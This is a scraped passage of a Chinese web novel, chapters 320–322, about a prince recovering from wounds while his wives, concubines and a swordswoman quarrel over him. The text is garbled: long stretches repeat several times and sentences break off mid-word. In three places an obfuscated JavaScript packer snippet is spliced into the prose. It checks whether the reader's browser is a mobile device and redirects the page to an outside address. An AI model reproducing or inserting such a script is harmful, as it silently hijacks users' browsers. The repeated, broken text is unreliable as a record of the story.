月妩更是难得地插嘴道:“呵呵呵,说不定就是夫君从某个野堂子里捡回来的下贱货呢!” 这话可是直接戳在了刘妙颜的心窝子上。 晴雯更是难以置信地回过头,那挤眉弄眼的样子好像在说:行啊姐妹,平时没看出来,骂人够脏的啊! “臭娘们,你再多说一句我TM撕烂你的嘴!” 月妩顿时又往张俪的身后缩了缩。 见对方要动手,张俪说道:“干什么?这里是王府,不是你家后院。要撒野,就请去茅房。” “好好好,你们合起伙来欺负我是吧?老娘这就砸了你们王府!” 言罢刘妙颜跑了出去。 侯春一看就知道坏了。 这大姐可是上过战场杀过敌将的狠人啊! 说不准真能干出来砸王府这种事情。 侯春脚下抹油就要跑出去,谁知道张俪喊道:“猴子,你回来。她要砸,便让她砸!” “就是,还真以为这王府是她说了算的?” “搞笑吧!” “别理她,走,我们进屋去看看夫君。” 上官婉儿在林臻出征代县的时候向祖先祈祷,现在成功如愿,她也确实开始吃斋了。 今天她派出自己最信任的丫鬟,去看望林臻的伤情。 谁知就撞到刘妙颜再与众女对骂的桥段。 机 灵的小丫头把对话听了个全面,然后飞快地跑回别院里告诉了上官婉儿。 此时,上官婉儿正在吃饭,满桌子都是绿油油的菜叶子。 听闻丫鬟汇报,她惊奇地放下筷子,温柔地用手帕擦了擦嘴角。 所有动作都透露着一股子淡雅与传统。 “你说,来了位女将军?把晴雯她们挨个骂了一遍?” “是呀是呀!夫人,您是没看到那场景,向来厉害的晴雯被她骂得一愣一愣的,还抽了晴雯一巴掌呢!” 上官婉儿顿时有些不喜,蹙眉道:“你这么兴奋做什么?难道家宅不宁是你愿意看到的?” “我奴婢知错了。” “以后不得偷听别人说话,更不得在背后幸灾乐祸!我们上官家绝不能有这样的小人!” 丫鬟被骂得有些委屈,泪眼婆娑的。 上官婉儿却没有丝毫心疼,反而问道:“让你去看看林世子的身体如何?你看了没有?” “奴婢没看到,因为他们在书房的正厅里吵架,奴婢不敢进去。” “罢了,你去休息吧,让书童过来把餐桌收拾干净。” “是。” 丫鬟到底还是有一滴泪落下,连忙走出去开始吩咐。 上官婉儿幽幽的叹了口气,拿着一卷书来到罗汉床上躺下,单手撑着美鬓。 “唉,也不知道夫君到底有多少女人,看来这日子有的闹了呢。” 灵的小丫头把对话听了个全面,然后飞快地跑回别院里告诉了上官婉儿。 此时,上官婉儿正在吃饭,满桌子都是绿油油的菜叶子。 听闻丫鬟汇报,她惊奇地放下筷子,温柔地用手帕擦了擦嘴角。 所有动作都透露着一股子淡雅与传统。 “你说,来了位女将军?把晴雯她们挨个骂了一遍?” “是呀是呀!夫人,您是没看到那场景,向来厉害的晴雯被她骂得一愣一愣的,还抽了晴雯一巴掌呢!” 上官婉儿顿时有些不喜,蹙眉道:“你这么兴奋做什么?难道家宅不宁是你愿意看到的?” “我奴婢知错了。” “以后不得偷听别人说话,更不得在背后幸灾乐祸!我们上官家绝不能有这样的小人!” 丫鬟被骂得有些委屈,泪眼婆娑的。 上官婉儿却没有丝毫心疼,反而问道:“让你去看看林世子的身体如何?你看了没有?” “奴婢没看到,因为他们在书房的正厅里吵架,奴婢不敢进去。” “罢了,你去休息吧,让书童过来把餐桌收拾干净。” “是。” 丫鬟到底还是有一滴泪落下,连忙走出去开始吩咐。 上官婉儿幽幽的叹了口气,拿着一卷书来到罗汉床上躺下,单手撑着美鬓。 “唉,也不知道夫君到底有多少女人,看来这日子有的闹了呢。” 灵的小丫头把对话听了个全面,然后飞快地跑回别院里告诉了上官婉儿。 此时,上官婉儿正在吃饭,满桌子都是绿油油的菜叶子。 听闻丫鬟汇报,她惊奇地放下筷子,温柔地用手帕擦了擦嘴角。 所有动作都透露着一股子淡雅与传统。 “你说,来了位女将军?把晴雯她们挨个骂了一遍?” “是呀是呀!夫人,您是没看到那场景,向来厉害的晴雯被她骂得一愣一愣的,还抽了晴雯一巴掌呢!” 上官婉儿顿时有些不喜,蹙眉道:“你这么兴奋做什么?难道家宅不宁是你愿意看到的?” “我奴婢知错了。” “以后不得偷听别人说话,更不得在背后幸灾乐祸!我们上官家绝不能有这样的小人!” 丫鬟被骂得有些委屈,泪眼婆娑的。 上官婉儿却没有丝毫心疼,反而问道:“让你去看看林世子的身体如何?你看了没有?” “奴婢没看到,因为他们在书房的正厅里吵架,奴婢不敢进去。” “罢了,你去休息吧,让书童过来把餐桌收拾干净。” “是。” 丫鬟到底还是有一滴泪落下,连忙走出去开始吩咐。 上官婉儿幽幽的叹了口气,拿着一卷书来到罗汉床上躺下,单手撑着美鬓。 “唉,也不知道夫君到底有多少女人,看来这日子有的闹了呢。” 灵的小丫头把对话听了个全面,然后飞快地跑回别院里告诉了上官婉儿。 此时,上官婉儿正在吃饭,满桌子都是绿油油的菜叶子。 听闻丫鬟汇报,她惊奇地放下筷子,温柔地用手帕擦了擦嘴角。 所有动作都透露着一股子淡雅与传统。 “你说,来了位女将军?把晴雯她们挨个骂了一遍?” “是呀是呀!夫人,您是没看到那场景,向来厉害的晴雯被她骂得一愣一愣的,还抽了晴雯一巴掌呢!” 上官婉儿顿时有些不喜,蹙眉道:“你这么兴奋做什么?难道家宅不宁是你愿意看到的?” “我奴婢知错了。” “以后不得偷听别人说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此时,上官婉儿正在吃饭,满桌子都是绿油油的菜叶子。 听闻丫鬟汇报,她惊奇地放下筷子,温柔地用手帕擦了擦嘴角。 所有动作都透露着一股子淡雅与传统。 “你说,来了位女将军?把晴雯她们挨个骂了一遍?” “是呀是呀!夫人,您是没看到那场景,向来厉害的晴雯被她骂得一愣一愣的,还抽了晴雯一巴掌呢!” 上官婉儿顿时有些不喜,蹙眉道:“你这么兴奋做什么?难道家宅不宁是你愿意看到的?” “我奴婢知错了。” “以后不得偷听别人说话,更不得在背后幸灾乐祸!我们上官家绝不能有这样的小人!” 丫鬟被骂得有些委屈,泪眼婆娑的。 上官婉儿却没有丝毫心疼,反而问道:“让你去看看林世子的身体如何?你看了没有?” “奴婢没看到,因为他们在书房的正厅里吵架,奴婢不敢进去。” “罢了,你去休息吧,让书童过来把餐桌收拾干净。” “是。” 丫鬟到底还是有一滴泪落下,连忙走出去开始吩咐。 上官婉儿幽幽的叹了口气,拿着一卷书来到罗汉床上躺下,单手撑着美鬓。 “唉,也不知道夫君到底有多少女人,看来这日子有的闹了呢。” 灵的小丫头把对话听了个全面,然后飞快地跑回别院里告诉了上官婉儿。 此时,上官婉儿正在吃饭,满桌子都是绿油油的菜叶子。 听闻丫鬟汇报,她惊奇地放下筷子,温柔地用手帕擦了擦嘴角。 所有动作都透露着一股子淡雅与传统。 “你说,来了位女将军?把晴雯她们挨个骂了一遍?” “是呀是呀!夫人,您是没看到那场景,向来厉害的晴雯被她骂得一愣一愣的,还抽了晴雯一巴掌呢!” 上官婉儿顿时有些不喜,蹙眉道:“你这么兴奋做什么?难道家宅不宁是你愿意看到的?” “我奴婢知错了。” “以后不得偷听别人说话,更不得在背后幸灾乐祸!我们上官家绝不能有这样的小人!” 丫鬟被骂得有些委屈,泪眼婆娑的。 上官婉儿却没有丝毫心疼,反而问道:“让你去看看林世子的身体如何?你看了没有?” “奴婢没看到,因为他们在书房的正厅里吵架,奴婢不敢进去。” “罢了,你去休息吧,让书童过来把餐桌收拾干净。” “是。” 丫鬟到底还是有一滴泪落下,连忙走出去开始吩咐。 上官婉儿幽幽的叹了口气,拿着一卷书来到罗汉床上躺下,单手撑着美鬓。 “唉,也不知道夫君到底有多少女人,看来这日子有的闹了呢。” 第320章 月妩姐姐......以前...对不起了 “小姐。” 从秦国跟着上官婉儿来大乾的小厮,推门走了进来。 他恭恭敬敬地站在上官婉儿面前,不敢抬头,也不敢有丝毫僭越。 “小的已经探查清楚了,世子受的都是皮外伤,没有大碍,在大乾名医孙之推的诊治下,正在用汤药,此刻正睡着。” 上官婉儿放下书,目光盯着窗外看了几秒,起身走向一旁的供奉家人长生牌和祖先牌位的壁龛边,拉开抽屉,从里面取出一个小巧的绿色瓷瓶,转身递给小厮。 “这是鬼医为上官家特意配制的金疮药,你给世子送去,告诉他早晚各涂一次。” 小厮双手接过,震惊地说道:“小姐,这可是我们上官家的宝贝,全天下独一份啊!您就这么给他用了?” “休得胡言。再名贵的东西也是给人用的,更何况是他。” 小厮低头看着瓶子。 心说,小姐对那个林臻简直好得过分! 连这么名贵的东西都舍得拿出来用。 “可是小姐,小的听说林臻有很多房小妾,这次以身犯险就是为了救那个叫晴雯的丫头。” “住口。”上官婉儿黛眉微蹙,当即打断他,“既然知道是妾,那就是家里的主子,岂容你在背后非议?往日我教导你们的礼仪尊卑都到哪里去了?” “这,小的知错。” “立刻送去。” “是。” 小厮和刚才的丫鬟一般无二,委屈巴巴地低着头快步离开。 很快他便来到林臻的书房。 此时刘妙颜不在,也不知道是不是真的去拆家了,只有张俪等四女陪伴着林臻。 林臻还在睡觉,浑身滚烫,脸色苍白。 晴雯跪在床边,脸上还有着清晰的巴掌印。 眼圈红红的,眼泪一滴一滴滑落,晶莹剔透。 她已经深切感受到林臻对她的情谊。 一个身份地位超然的男人,居然在不了解情况下,甚至都不知道真假的时候,就会以身犯险,冒死相救。 普天之下,也只有林臻了吧? 不仅是晴雯,所有女人都是这个想法。 张俪没有哭,但是可以看到她的眼圈也很红润,精致的手帕时不时地轻点眼角,声音有些哽咽:“能陪伴夫君左右,是我们的福气。” 月妩和浣碧深以为然地点头。 晴雯捏着林臻的手说道:“夫君,您快醒醒呀,雯儿以后会乖乖听话再也不惹您生气了。” 张俪没好气 地用手指点了点晴雯的小脑袋:“胡说什么呢夫君只是睡着了又不是薨了。” 晴雯赶紧呸了两下:“呸呸呸!谁薨了夫君也不能薨!我还要给夫君生一百个儿子呢!” “对对对都让你生我们都干看着。”张俪忍不住打趣。 月妩和浣碧同时隐晦含羞地笑了笑。 这说来也怪。 为什么这么多女子包括皇宫里的三个就只有晴雯怀孕了呢? 难道她是传说中的易孕体质? 张俪看了看晴雯那宏伟的胸脯和圆润的屁屁心说这倒是很有可能。 唉这妮子的运气还真不是一般的好。 从普通的大丫鬟一举成为王府世子的心上人而且还有了身孕。 这若是宣扬出去得是多么励志的经历啊。 晴雯被张俪连连打趣也不吭声也不回怼她只是忽然想起什么一边拉着林臻的手一边用卡姿兰的大眼睛望着月妩。 心里一时间很不是滋味。 平日里欺负得紧可关键时候她不仅没有落井下石反而和自己同一阵线。 “月妩姐姐.以前对不起了。”晴雯说完就立刻把头扭过去继续看着林臻。 对她来说这已经是最大的诚意了。 月妩闻言却莞尔一笑与张俪对视一眼没有说话。 这时林臻突然咳嗽一声呕出一大口血幽幽转醒。 “咳咳咳唔!” “夫君!!” “夫君!!” “快请孙神仙来!” 孙之推因为要看护晴雯养胎本来就住在王府现在又负责治疗林臻于是干脆搬到书房对面的厢房里。 听到书房这边的叫喊声他赶紧快步走了进来。 “孙神仙刚刚世子又吐血了!” “您看怎么办啊?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15080158|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“您一定要尽全力啊!” “夫君.” 四女你一言我一语说的孙之推有些头大他连忙摆摆手:“别急别急让老夫看一下。” 孙之推俯下身扒开林臻的眼皮。 又看了看他吐出来的血闻了闻笑着说:“不妨事 “真的!?” “谢谢孙老神仙!” “诸位夫人客气老夫再去开个方子命徒弟煎好送过来。” “有劳孙老神仙。” 张俪 作揖拜别,亲自把孙之推送出书房。 回来时,却见林臻已经醒了,一双星辰般的眸子很是明亮,比刚回来时的病态判若两人。 只见林臻伸出手,摸了摸晴雯眼角的泪水,柔声说道:“我刚才好像听见你说什么.以后再也不顽皮了?” 晴雯撇着嘴,倔强地看向一边:“讨厌,妾身说了那么多话,您就记住这一句。” “呵呵呵呵,其实我一直都有在听,就是眼皮子太沉了睁不开而已。你们是不是还和刘妙颜吵架了?” 几女面面相觑,都不敢第一个把这件事情说出来。 就连最大胆的晴雯也只是低着头,轻轻咬着贝齿。 林臻说道:“颜颜就是那个性子,你们以后相处还是得和睦些才好,否则我可就应了那句老话,家宅不宁了。” 张俪点点头,把林臻的被子往里面掖掖。 “夫君放心,我们会和刘将军好好相处的。” “叫将军太陌生,不如叫姐妹来得亲近,再说颜颜是刀子嘴刀子心,如果你们不好好相处,谁知道她会干出什么来?” 刀子嘴刀子心 形容得好贴切啊。 晴雯现在就是心有体会,甚至林臻已经看到了她脸上的巴掌印。 于是伸手去摸了摸,说道:“她打的?” “嗯”晴雯依旧是泪眼婆娑的,我见犹怜。 林臻笑着说:“没事,等我好了,我替你打回来。” “真的吗夫君?” “当然是真的。” “骗人。刘将军说等你醒了,要连你一起打死呢。” “噶?” 第321章 我闹哪样?我倒要问问你闹哪样? 林臻刚刚有些缓和的神经再次紧绷起来。 连我一起打死? 跟我有什么关系啊?我招她惹她了? “不是,她为什么说连我一起打死啊?” 晴雯四女再次齐齐地低下头,说也不敢多说。 看到这一幕,林臻就明白了。 肯定是女人太多,她又吃醋了。 这个醋坛子。 “唉。” 看来以后这家有的闹了啊。 不行,这得给她们好好开个会,深挖她们思想的错误动机,批判她们不团结的行为。 林臻把手搭在浣碧肩膀上,说道:“碧儿,扶我起来。” “夫君,您这是要做什么?” “是呀,您这身体才刚好些,还是躺着吧。” “不行,成天喊打喊杀的,还有没有点规矩?扶我起来!” 众女拗不过他,一起发力把林臻拽起来,谁知道就在此刻,刘妙颜单手牵着来福走到屏风后面。 “好啊,我说怎么找不到你们呢,原来在这!” 刘妙颜嘴角露出一丝冰冷的笑意,看着刚刚坐起来满脸呆滞的林臻:“正好你也醒了,我们新账旧账一起算!” 算不算账林臻不知道,但他突然发现来福今天有点不正常。 两只虎眼,一只大一只小;本来应该骇人的獠牙此刻夹着自己的小舌头一个劲儿的卖萌,还往下流口水。 这是怎么回事? 林臻指着来福质问道:“颜颜,你对来福做什么了?” “不许你这么叫我!” “你这又是要闹哪样?” “我闹哪样?我倒要问问你闹哪样?老娘听说你受伤了,日夜不停地从前线赶回来,回来就被你家的小妾一顿数落!我告诉你,别说这几个小娘们,就是你爷爷也不敢这么说我!” 刘妙颜眼圈有点微红,看起来受了极大的委屈。 晴雯吓得已经爬上床躲在林臻身后了。 林臻就知道会发生这样的事情。 人家都说三个女人一台戏。 现在小小的书房后堂里挤进来五个! 算上上官婉儿、以及宫里的三位,都快能凑成个足球队了。 唉,风流债啊。 “颜颜,你听我说。” “我不听!今天我就问问你,要我还是要她们!” “你先把来福放开,它都翻白眼了!” “哼。” 眼见来福被自己勒得口吐白沫开始翻白 眼,刘妙颜冷哼一声把铁链扔在地上。 当—— 巨大的声音震得几女浑身一颤,情不自禁地往林臻身边凑了凑。 这时,二狗跌跌撞撞地跑了进来。 林臻还没看清呢,就噗通一声跪在他面前。 “世子啊!!!小的看护来福大爷不力,请世子责罚!” “哭什么哭,起来!” 二狗站起来,鼻涕一把泪一把的,林臻看去这才发现。 这哥们一边脸大一边脸小,眼眶红肿得像个鹅蛋。 这肯定是被刘妙颜打的! 林臻怒了,他指着二狗的脸说道:“你这脸是怎么回事?谁打的你?” 说着林臻看向刘妙颜,好像这句话就是对她说的一样。 刘妙颜冷哼一声,二狗吓得浑身一哆嗦。 “世子,这是属下不小心摔伤的。” “说实话!” “是呜呜呜呜,是被刘将军打的!!”二狗哭天抹泪,表情十分凄惨。 “世子,您可要为小的做主啊!刘将军突然跑到后院找来福,可是没有您的命令属下不敢放开铁链,谁知道刘将军上来就是一个右鞭腿,正踢在属下脸上呜呜呜,来福也被她一套组合脚踢麻了,走道直打摆子。呜呜呜呜。” 不知道为什么,林臻听这些话的时候非但没有生气,反而觉得有些好笑。 但他还是故意虎着脸,看向刘妙颜。 “他说的是真的?” “是又怎么样?”刘妙颜气鼓鼓地看着林臻,小马靴里的脚尖轻轻点地,好像随时要踢过来一般。 林臻当时就怂了。 林震仙不在家,刘恺威又管不了这个女儿。 如果梗着脖子硬怼,肯定会招来她一阵毒打。 而且打也是白打,连负责都不用付的那种。 罢了。 出身寒微,不是耻辱。 能屈能伸,方为丈夫。 “那个.咳咳,二狗。”林臻从枕头下面摸出来个玛瑙手把件,色泽光润,一看便知价格不菲。 他丢给二狗,说道:“拿着,买点药敷敷,这两天先休息休息。” 玛瑙这个东西在后世,是分成色、分产地、分品质,分大小的。 但在大乾,不管什么样子的玛瑙几乎都和翡翠一样价值。 二狗双手捧着玛瑙,激动的都不知道说什么好了,甚至连句谢谢世子都没说,起身就走了出去。 “唉。”林臻叹了口气。 那可是自己最喜欢的手把件啊,就这么便宜二狗那小子了。 “颜颜,你让来福回去,我们坐下来好好谈谈如何?” “有什么好谈的?林臻,今天你必须做个选择!” 此刻来福乖的像只金渐层,看看林臻,又看看把自己毒打一顿的刘妙颜,步伐轻轻的转向门口,趁其不备,一溜烟就跑了出去。 刘妙颜也没想拦,气氛一时间很是尴尬。 张俪站起身,对着刘妙颜盈盈行了一礼。 “刘将军,既然已是姐妹,又何苦逼问夫君?不如我们坐下来好好聊聊,之前的误会,我代替几位姐妹向你道歉。” 她态度十分诚恳,表情也很谦逊,好像真的像要讲和似的。 对此刘妙颜也没有选择伸手去打笑脸人,从旁边抓来一把椅子放在林臻面前,坐上去翘起二郎腿,比二流子还二流子的来回抖动。 “好啊,谈。” 林臻指了指其他椅子:“你们也都好好坐下。” 张俪、月妩、晴雯,浣碧四女也纷纷搬来椅子,不过他们统一的坐在林臻这边,和刘妙颜形成对立面。 林臻把身上的大氅紧了紧,声音略显疲惫。 “你们都给我听好了,如果不出意外,这辈子我就守着你们过了”林臻的话还没说完,就听到屏风后面突然有爽朗的笑声传来。 “呵呵呵呵!” 这笑声. 林臻浑身一震,抬眼向声音方向望去,就见一身白衣胜雪的女子带着一个老妇人缓缓走了进来。 “世子爷,这以后的日子,带小女子一个如何呀?” 那可是自己最喜欢的手把件啊,就这么便宜二狗那小子了。 “颜颜,你让来福回去,我们坐下来好好谈谈如何?” “有什么好谈的?林臻,今天你必须做个选择!” 此刻来福乖的像只金渐层,看看林臻,又看看把自己毒打一顿的刘妙颜,步伐轻轻的转向门口,趁其不备,一溜烟就跑了出去。 刘妙颜也没想拦,气氛一时间很是尴尬。 张俪站起身,对着刘妙颜盈盈行了一礼。 “刘将军,既然已是姐妹,又何苦逼问夫君?不如我们坐下来好好聊聊,之前的误会,我代替几位姐妹向你道歉。” 她态度十分诚恳,表情也很谦逊,好像真的像要讲和似的。 对此刘妙颜也没有选择伸手去打笑脸人,从旁边抓来一把椅子放在林臻面前,坐上去翘起二郎腿,比二流子还二流子的来回抖动。 “好啊,谈。” 林臻指了指其他椅子:“你们也都好好坐下。” 张俪、月妩、晴雯,浣碧四女也纷纷搬来椅子,不过他们统一的坐在林臻这边,和刘妙颜形成对立面。 林臻把身上的大氅紧了紧,声音略显疲惫。 “你们都给我听好了,如果不出意外,这辈子我就守着你们过了”林臻的话还没说完,就听到屏风后面突然有爽朗的笑声传来。 “呵呵呵呵!” 这笑声. 林臻浑身一震,抬眼向声音方向望去,就见一身白衣胜雪的女子带着一个老妇人缓缓走了进来。 “世子爷,这以后的日子,带小女子一个如何呀?” 那可是自己最喜欢的手把件啊,就这么便宜二狗那小子了。 “颜颜,你让来福回去,我们坐下来好好谈谈如何?” “有什么好谈的?林臻,今天你必须做个选择!” 此刻来福乖的像只金渐层,看看林臻,又看看把自己毒打一顿的刘妙颜,步伐轻轻的转向门口,趁其不备,一溜烟就跑了出去。 刘妙颜也没想拦,气氛一时间很是尴尬。 张俪站起身,对着刘妙颜盈盈行了一礼。 “刘将军,既然已是姐妹,又何苦逼问夫君?不如我们坐下来好好聊聊,之前的误会,我代替几位姐妹向你道歉。” 她态度十分诚恳,表情也很谦逊,好像真的像要讲和似的。 对此刘妙颜也没有选择伸手去打笑脸人,从旁边抓来一把椅子放在林臻面前,坐上去翘起二郎腿,比二流子还二流子的来回抖动。 “好啊,谈。” 林臻指了指其他椅子:“你们也都好好坐下。” 张俪、月妩、晴雯,浣碧四女也纷纷搬来椅子,不过他们统一的坐在林臻这边,和刘妙颜形成对立面。 林臻把身上的大氅紧了紧,声音略显疲惫。 “你们都给我听好了,如果不出意外,这辈子我就守着你们过了”林臻的话还没说完,就听到屏风后面突然有爽朗的笑声传来。 “呵呵呵呵!” 这笑声. 林臻浑身一震,抬眼向声音方向望去,就见一身白衣胜雪的女子带着一个老妇人缓缓走了进来。 “世子爷,这以后的日子,带小女子一个如何呀?” 那可是自己最喜欢的手把件啊,就这么便宜二狗那小子了。 “颜颜,你让来福回去,我们坐下来好好谈谈如何?” “有什么好谈的?林臻,今天你必须做个选择!” 此刻来福乖的像只金渐层,看看林臻,又看看把自己毒打一顿的刘妙颜,步伐轻轻的转向门口,趁其不备,一溜烟就跑了出去。 刘妙颜也没想拦,气氛一时间很是尴尬。 张俪站起身,对着刘妙颜盈盈行了一礼。 “刘将军,既然已是姐妹,又何苦逼问夫君?不如我们坐下来好好聊聊,之前的误会,我代替几位姐妹向你道歉。” 她态度十分诚恳,表情也很谦逊,好像真的像要讲和似的。 对此刘妙颜也没有选择伸手去打笑脸人,从旁边抓来一把椅子放在林臻面前,坐上去翘起二郎腿,比二流子还二流子的来回抖动。 “好啊,谈。” 林臻指了指其他椅子:“你们也都好好坐下。” 张俪、月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15080159|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妩、晴雯,浣碧四女也纷纷搬来椅子,不过他们统一的坐在林臻这边,和刘妙颜形成对立面。 林臻把身上的大氅紧了紧,声音略显疲惫。 “你们都给我听好了,如果不出意外,这辈子我就守着你们过了”林臻的话还没说完,就听到屏风后面突然有爽朗的笑声传来。 “呵呵呵呵!” 这笑声. 林臻浑身一震,抬眼向声音方向望去,就见一身白衣胜雪的女子带着一个老妇人缓缓走了进来。 “世子爷,这以后的日子,带小女子一个如何呀?” 那可是自己最喜欢的手把件啊,就这么便宜二狗那小子了。 “颜颜,你让来福回去,我们坐下来好好谈谈如何?” “有什么好谈的?林臻,今天你必须做个选择!” 此刻来福乖的像只金渐层,看看林臻,又看看把自己毒打一顿的刘妙颜,步伐轻轻的转向门口,趁其不备,一溜烟就跑了出去。 刘妙颜也没想拦,气氛一时间很是尴尬。 张俪站起身,对着刘妙颜盈盈行了一礼。 “刘将军,既然已是姐妹,又何苦逼问夫君?不如我们坐下来好好聊聊,之前的误会,我代替几位姐妹向你道歉。” 她态度十分诚恳,表情也很谦逊,好像真的像要讲和似的。 对此刘妙颜也没有选择伸手去打笑脸人,从旁边抓来一把椅子放在林臻面前,坐上去翘起二郎腿,比二流子还二流子的来回抖动。 “好啊,谈。” 林臻指了指其他椅子:“你们也都好好坐下。” 张俪、月妩、晴雯,浣碧四女也纷纷搬来椅子,不过他们统一的坐在林臻这边,和刘妙颜形成对立面。 林臻把身上的大氅紧了紧,声音略显疲惫。 “你们都给我听好了,如果不出意外,这辈子我就守着你们过了”林臻的话还没说完,就听到屏风后面突然有爽朗的笑声传来。 “呵呵呵呵!” 这笑声. 林臻浑身一震,抬眼向声音方向望去,就见一身白衣胜雪的女子带着一个老妇人缓缓走了进来。 “世子爷,这以后的日子,带小女子一个如何呀?” 那可是自己最喜欢的手把件啊,就这么便宜二狗那小子了。 “颜颜,你让来福回去,我们坐下来好好谈谈如何?” “有什么好谈的?林臻,今天你必须做个选择!” 此刻来福乖的像只金渐层,看看林臻,又看看把自己毒打一顿的刘妙颜,步伐轻轻的转向门口,趁其不备,一溜烟就跑了出去。 刘妙颜也没想拦,气氛一时间很是尴尬。 张俪站起身,对着刘妙颜盈盈行了一礼。 “刘将军,既然已是姐妹,又何苦逼问夫君?不如我们坐下来好好聊聊,之前的误会,我代替几位姐妹向你道歉。” 她态度十分诚恳,表情也很谦逊,好像真的像要讲和似的。 对此刘妙颜也没有选择伸手去打笑脸人,从旁边抓来一把椅子放在林臻面前,坐上去翘起二郎腿,比二流子还二流子的来回抖动。 “好啊,谈。” 林臻指了指其他椅子:“你们也都好好坐下。” 张俪、月妩、晴雯,浣碧四女也纷纷搬来椅子,不过他们统一的坐在林臻这边,和刘妙颜形成对立面。 林臻把身上的大氅紧了紧,声音略显疲惫。 “你们都给我听好了,如果不出意外,这辈子我就守着你们过了”林臻的话还没说完,就听到屏风后面突然有爽朗的笑声传来。 “呵呵呵呵!” 这笑声. 林臻浑身一震,抬眼向声音方向望去,就见一身白衣胜雪的女子带着一个老妇人缓缓走了进来。 “世子爷,这以后的日子,带小女子一个如何呀?” 那可是自己最喜欢的手把件啊,就这么便宜二狗那小子了。 “颜颜,你让来福回去,我们坐下来好好谈谈如何?” “有什么好谈的?林臻,今天你必须做个选择!” 此刻来福乖的像只金渐层,看看林臻,又看看把自己毒打一顿的刘妙颜,步伐轻轻的转向门口,趁其不备,一溜烟就跑了出去。 刘妙颜也没想拦,气氛一时间很是尴尬。 张俪站起身,对着刘妙颜盈盈行了一礼。 “刘将军,既然已是姐妹,又何苦逼问夫君?不如我们坐下来好好聊聊,之前的误会,我代替几位姐妹向你道歉。” 她态度十分诚恳,表情也很谦逊,好像真的像要讲和似的。 对此刘妙颜也没有选择伸手去打笑脸人,从旁边抓来一把椅子放在林臻面前,坐上去翘起二郎腿,比二流子还二流子的来回抖动。 “好啊,谈。” 林臻指了指其他椅子:“你们也都好好坐下。” 张俪、月妩、晴雯,浣碧四女也纷纷搬来椅子,不过他们统一的坐在林臻这边,和刘妙颜形成对立面。 林臻把身上的大氅紧了紧,声音略显疲惫。 “你们都给我听好了,如果不出意外,这辈子我就守着你们过了”林臻的话还没说完,就听到屏风后面突然有爽朗的笑声传来。 “呵呵呵呵!” 这笑声. 林臻浑身一震,抬眼向声音方向望去,就见一身白衣胜雪的女子带着一个老妇人缓缓走了进来。 “世子爷,这以后的日子,带小女子一个如何呀?” 第322章 夫君偏心! 这声音来得突然而且非常熟悉。 在林臻看来就犹如地狱幽灵几乎是飘飘忽忽的传了进来让他浑身汗毛耸立不禁想起那个白衣女子在自己身下辗转腾挪的样子。 没有让林臻等太久一身白衣胜雪的青霞仙子在天道老宗主的陪同下从屏风后款款而来。 尤其是青霞她脸上挂着淡淡的笑容。 像讥讽像玩味像恶毒。 反正就是看不出一丝一毫的善意。 两人气质出众眉宇间散发着不同于普通女子的神采让浣碧、月妩两人不自觉地站起身定身凝望着。 刘妙颜嘴里叼着半个苹果翘着二郎腿吊儿郎当地看向两人最后把目光停留在老宗主身上冷笑着对林臻说道:“行啊小子连这半老徐娘的也不放过?” 老宗主顿时眼睛微微眯起 但很快便掩盖下去。 她来是和林臻提亲的不是来打架的自己女儿以后能不能过上好日子就看今天的发挥了。 而且林臻也根本没那个没心情和刘妙颜打趣他目光紧紧盯着青霞仙子嗓子眼有些干涩努了努嘴想问却只问出一句话。 “你怎么进来的?” “呵呵呵呵。”青霞仙子挥一挥衣袍表情略显得意言语中看不出任何恭敬。 不过倒也没立刻大打出手只是笑着回应。 “就你家那群废物也妄想能拦住本座?” 林臻脸色一沉咬了咬牙。 看来自己府上的防卫力量还是不够啊。 像青霞仙子这种江湖高手竟然说来就说而且能直接来到书房! 老曹啊老曹你是想坑死我啊! 青霞仙子淡笑着走到一边的椅子上坐下老宗主站在她旁边。 此刻的她完全不像母亲反而像个女护卫。 这是典型的有恃无恐啊。 这两人根本不怕林臻突然发难。 奶奶的有武功就是好想怎么样怎么样想欺负谁欺负谁。 林臻心情很郁闷但面对众女等待解释的目光他还是硬着头皮主动开口。 “你想怎么样?” “我呀?”青霞仙子莞尔一笑笑容十分妩媚甚至还伸出诱人的嫩舌舔了舔双唇美眸半眯地诱惑道:“我也想做你的小妾~” 刘妙颜见青霞仙子的眼睛都快要溢出爱的泪水了顿时不喜的呵斥道:“哪来的野种啊?看不明白形势?” 青霞 仙子也不恼怒,回眸看去,就见一个男人婆坐在那里,于是便上上下下地打量。 “你就是林臻口中的那个男人婆?” “臭娘们,再这么说我,我撕了你的嘴!”说到这刘妙颜还刻意看了看林臻,又添油加醋地说道,“我可不管你是谁的小妾!” 林臻尴尬地摸了摸鼻子,并不想管。 青霞止不住地冷笑道:“呵,这么厉害?那不如我们打一架?谁赢了,谁就是王府第一妾室!” “小娘们,有点意思啊。”刘妙颜与青霞几乎同时起身,缓步靠近,谁也不服谁,就像UFC比赛前互骂的运动员。 